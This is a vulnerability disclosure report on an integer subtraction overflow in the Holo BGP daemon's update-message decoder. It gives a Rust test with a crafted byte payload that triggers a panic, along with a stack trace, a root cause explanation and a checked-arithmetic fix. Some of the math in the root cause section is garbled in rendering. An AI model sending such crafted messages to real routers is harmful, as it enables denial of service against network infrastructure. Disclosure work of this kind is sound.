[SECURITY] Overflow in Holo-BGP Subtraction

[raefko]

Overflow in Holo-BGP Subtraction

Author : Nabih Benazzouz @FuzzingLabs(https://github.com/FuzzingLabs/)
Date: : 14/01/2025

Executive Summary

This report covers a bug discovered in the Holo-BGP component of the holo-routing/holo repository. A panic occurs due to an integer subtraction overflow when parsing certain BGP update messages. Specifically, the following line subtracts values that can lead to an overflow in Rust:

let nlri_present = (msg_len - Self::MIN_LEN- wdrav_len - attr_len) > 0;

• Impact: Potential denial of service (DoS). An attacker or misconfigured update message may trigger the overflow and cause the process to panic or having an undefined behavior in release mode.
• Key Findings:
  • The bug resides at holo-bgp/src/packet/message.rsC784-785.
  • When the subtraction msg_len - Self::MIN_LEN - wdraw_len - attr_len goes negative, it overflows in Rust.

Vulnerability Details

• Severity: Medium (potential denial of service)
• Affected Component: holo-bgp

Environment

• Distro Version: Linux 6.11.11-1-MANJARO

• Commit 37114c3cc3ee84635c80d1cfb0c31e865c7d25b0

Steps to Reproduce

1- Check out the repository at commit 37114c3:

git clone https://github.com/holo-routing/holo.git
cd holo
git checkout 37114c3cc3ee84635c80d1cfb0c31e865c7d25b0

2- Add the reproducer to your tests and run it

fn test_decode_crash_2() {
    let bytes = vec![
        255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
        255, 255, 0, 27, 2, 0, 0, 0, 45, 0, 0, 0, 245, 0, 0, 0, 0, 20, 159, 73,
        0, 0, 255, 0, 0, 0, 0, 20, 159, 73, 0, 0, 0, 0, 0, 45, 0, 0, 0, 245, 0,
        0, 0, 0, 20, 159, 73, 0, 0, 255, 0, 0, 0, 0, 20, 159, 73, 0, 0,
    ];
    let cxt: DecodeCxt = DecodeCxt {
        peer_type: PeerType::Internal,
        peer_as: 65550,
        capabilities: [NegotiatedCapability::FourOctetAsNumber].into(),
    };
    let _ = Message::decode(&bytes, &cxt);
}

Root Cause Analysis

The root cause is an unchecked integer arithmetic operation. In Rust, integer overflow in debug builds triggers a panic. If msg_len - Self::MIN_LEN - wdrav_len - attr_len is negative (too large), it overflows in release mode.
Integer operations are unchecked by default in release mode for performance reasons. Instead of panicking, Rust wraps around on overflow. For instance, subtracting 11 from 00 in an unsigned 32-bit integer would yield 232−1232−1 (i.e., 0xFFFFFFFF), but the program keeps running. There is no immediate panic, and the operation just produces a nonsensical (wrapped) result.

Detailed Behavior

thread 'packet::update::test_decode_crash_2' panicked at holo-bgp/src/packet/message.rs:785:17:
attempt to subtract with overflow
stack backtrace:
   0: rust_begin_unwind
             at /rustc/a580b5c379b4fca50dfe5afc0fc0ce00921e4e00/library/std/src/panicking.rs:692:5
   1: core::panicking::panic_fmt
             at /rustc/a580b5c379b4fca50dfe5afc0fc0ce00921e4e00/library/core/src/panicking.rs:75:14
   2: core::panicking::panic_const::panic_const_sub_overflow
             at /rustc/a580b5c379b4fca50dfe5afc0fc0ce00921e4e00/library/core/src/panicking.rs:178:21
   3: holo_bgp::packet::message::UpdateMsg::decode
             at ./src/packet/message.rs:785:17
   4: holo_bgp::packet::message::Message::decode
             at ./src/packet/message.rs:333:27
   5: mod::packet::update::test_decode_crash_2
             at ./tests/packet/update.rs:198:13
   6: mod::packet::update::test_decode_crash_2::{{closure}}
             at ./tests/packet/update.rs:186:25
   7: core::ops::function::FnOnce::call_once
             at /home/raefko/.rustup/toolchains/nightly-x86_64-unknown-linux-gnu/lib/rustlib/src/rust/library/core/src/ops/function.rs:250:5
   8: core::ops::function::FnOnce::call_once
             at /rustc/a580b5c379b4fca50dfe5afc0fc0ce00921e4e00/library/core/src/ops/function.rs:250:5
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.

Recommendations

A simple fix would be to replace the code with something similar to:

let nlri_present = msg_len
.checked_sub(Self::MIN_LEN)
.and_then(|len| len.checked_sub(wdraw_len))
.and_then(|len| len.checked_sub(attr_len))
.map_or(false, |len| len > 0);